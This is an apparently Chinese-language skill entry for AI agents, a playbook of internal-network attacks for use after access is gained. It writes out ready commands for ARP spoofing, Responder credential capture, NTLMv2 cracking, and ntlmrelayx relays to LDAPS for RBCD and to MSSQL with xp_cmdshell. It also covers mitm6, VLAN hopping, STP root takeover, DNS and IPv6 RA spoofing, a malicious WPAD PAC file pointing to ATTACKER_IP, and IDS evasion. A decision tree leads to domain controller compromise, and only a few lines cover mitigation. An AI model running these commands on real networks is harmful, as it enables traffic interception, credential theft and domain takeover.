大模型应用
内网二层/三层协议攻击与中间人劫持:ARP/LLMNR/DH…
在已获得网络接入、需要横向移动或提权时,利用二层/三层协议缺陷实施中间人、凭据捕获与中继。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
内网二层/三层协议攻击与中间人劫持:AR通用
解决思路
- ARP 欺骗建立 MitM:先开启转发 `echo 1 > /proc/sys/net/ipv4/ip_forward`,再用 `arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP` 与反向命令双向欺骗;或用 `ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//`;或用 bettercap 交互式执行 `set arp.spoof.targets VICTIM_IP`、`arp.spoof on`、`net.sniff on`。
- ARP 选择性目标以降低暴露:bettercap 中设置 `set arp.spoof.targets 10.0.0.50,10.0.0.51`、`set arp.spoof.fullduplex true`、`set arp.spoof.internal true` 后 `arp.spoof on`。
- ARP 检测指标识别:检查 ARP 表中重复 MAC、非网关 IP 发出的 gratuitous ARP 风暴;防御工具包括 `arpwatch`、静态 ARP 条目、802.1X 端口认证。
- Responder 捕获凭据:运行 `responder -I eth0 -dwPv`(-d 应答 DHCP 广播指纹、-w 启动 WPAD 恶意代理、-P 强制 WPAD NTLM 认证、-v 详细输出);仅被动分析用 `responder -I eth0 -A`。
- 破解捕获的哈希:NTLMv1 用 hashcat 模式 5500(可用彩虹表),NTLMv2 用 5600;命令 `hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule` 或 `john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt`。
- NTLM 中继替代破解:`ntlmrelayx.py -tf targets.txt -smb2support`;对 LDAPS 做 RBCD:`ntlmrelayx.py -t ldaps://DC01 --delegate-access`;对 MSSQL 执行命令:`ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"`。
- WPAD 滥用:`responder -I eth0 -wPv`;流程为客户端依次查询 DHCP→DNS wpad.domain.com→LLMNR/NBT-NS,Responder 返回恶意 wpad.dat,浏览器使用攻击者代理并强制 NTLM 认证从而捕获凭据。
- 手工构造 WPAD PAC 文件:内容为 `function FindProxyForURL(url, host) { return "PROXY ATTACKER_IP:3128; DIRECT"; }`。
- DHCPv6 攻击(mitm6):即使纯 IPv4 网络,Windows 默认也会发 DHCPv6 请求;运行 `mitm6 -d domain.com`,并行执行 `ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access`;链路为 mitm6 应答 DHCPv6 成为 IPv6 DNS→受害者 DNS 查询被劫持→WPAD 重定向→强制 NTLM 认证→中继到 LDAP 创建机器账户或 RBCD。
- DHCPv6 攻击前置条件确认:目标 SMB 签名关闭(SMB 中继)、DC 未强制 LDAP 签名(LDAP 中继)、Domain Computers 配额 > 0(默认 10,用于创建机器账户)。
- VLAN 跳跃之交换机欺骗(DTP):用 `yersinia dtp -attack 1 -interface eth0` 协商 trunk,或用 `./frogger.sh` 自动发送 DTP 帧使交换机启用 trunk 从而访问所有 VLAN;建立后 `modprobe 8021q`、`vconfig add eth0 TARGET_VLAN`、`ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up`。
- VLAN 跳跃之双标签(802.1Q):用 scapy 构造双层标签帧 `Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()` 并 `sendp(pkt, iface="eth0")`;注意仅单向有效(响应回到真实网关),适合盲打服务器。
- VLAN 跳跃缓解措施:禁用 DTP `switchport nonegotiate`、将 native VLAN 设为未使用 `switchport trunk native vlan 999`、在 trunk 端口裁剪仅允许必要 VLAN。
- STP 操纵之抢占根桥:`yersinia stp -attack 4 -interface eth0` 发送优先级为 0 的 BPDU 成为根桥,使所有流量经过攻击者形成 MitM。
- STP 操纵之拓扑变更攻击:`yersinia stp -attack 1 -interface eth0` 发送 TC BPDU 强制交换机刷新 MAC 表,暂时泛洪所有端口以便嗅探。
- STP 缓解措施:接入端口启用 BPDU Guard、指定端口启用 Root Guard、配置 `spanning-tree portfast bpduguard enable`。
- DNS 欺骗:bettercap 中 `set dns.spoof.domains target.com, *.target.com`、`set dns.spoof.address ATTACKER_IP`、`dns.spoof on`;或用 ettercap 在 `/etc/ettercap/etter.dns` 添加 `target.com A ATTACKER_IP` 后执行 `ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//`。
- Kaminsky 攻击变种:向递归解析器洪泛随机子域名的伪造响应,每个响应携带指向攻击者控制服务器的恶意 NS 记录。
- IPv6 攻击之 RA 欺骗:`atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64` 发送恶意 RA 使受害者将攻击者设为默认网关;THC-IPv6 套件中 `atk6-parasite6 eth0` 做 ICMPv6 邻居欺骗、`atk6-redir6 eth0 ...` 做 ICMPv6 重定向流量劫持。
- IPv6 攻击之 SLAAC 滥用:通告恶意前缀使受害者自动配置 IPv6 地址,结合 RA 中的恶意 DNS 选项实现 IPv6 全 MitM;Windows 默认优先 IPv6 而非 IPv4。
- IDS/IPS 规避技术:IP 分片(`nmap -f`、`fragroute`)、TTL 操纵(`fragroute`)、编码规避(URL/Unicode/hex)、会话拼接(`fragroute`、`nmap --data-length`)、基于时序的慢扫描(`nmap -T0`、`nmap -T1`)、诱饵扫描(`nmap -D RND:10`)、空闲/僵尸扫描(`nmap -sI ZOMBIE_IP`)。
- fragroute 分片与乱序:写入 `/tmp/frag.conf` 内容 `ip_frag 8` 与 `order random`,执行 `fragroute -f /tmp/frag.conf TARGET_IP`。
- nmap 规避组合:`nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET`。
- 决策树:同广播域→ARP 欺骗 MitM;不同域→先 VLAN 跳跃(DTP 开启用交换机欺骗,已知 native VLAN 用双标签);Windows 环境→Responder 捕获 NetNTLM(NTLMv1 快速破解或中继,NTLMv2 中继或用规则破解)、WPAD 滥用、mitm6+ntlmrelayx 做 LDAP 中继→RBCD→域控沦陷;需 DNS 控制→已 MitM 用 DNS 欺骗,有 DHCPv6 用 mitm6;交换机配置弱→BPDU Guard 关闭则 STP 根桥抢占,DTP 开启则 VLAN 跳跃;IPv6 攻击面→RA 欺骗/SLAAC 滥用;路径有 IDS/IPS→应用分片、时序、编码规避。
- 相关技能路由:建立 MitM 后加载 tunneling-and-pivoting 做流量重定向;中继捕获的 NTLM 哈希加载 ntlm-relay-coercion;利用网络攻击中发现的服务加载 unauthorized-access-common-services;分析 MitM 捕获流量加载 traffic-analysis-pcap;需要 Responder/mitm6 详细配置、NTLM 中继目标选择与链式利用、凭据格式分析与破解优先级时加载 NAME_RESOLUTION_POISONING.md。
适用边界 · 注意事项
- 目标网络已全面启用静态 ARP、802.1X 端口认证、DHCP Snooping、动态 ARP 检测(DAI)、BPDU Guard 与 Root Guard 等防护时,多数二层攻击会失效或被快速检测。
- 目标强制 SMB/LDAP 签名且禁用 IPv6 或已加固 DHCPv6/RA Guard 时,NTLM 中继与 mitm6 链路无法成立。
- 纯交换环境且无同广播域接入、无法完成 VLAN 跳跃时,ARP/LLMNR 等基于广播的攻击不可达。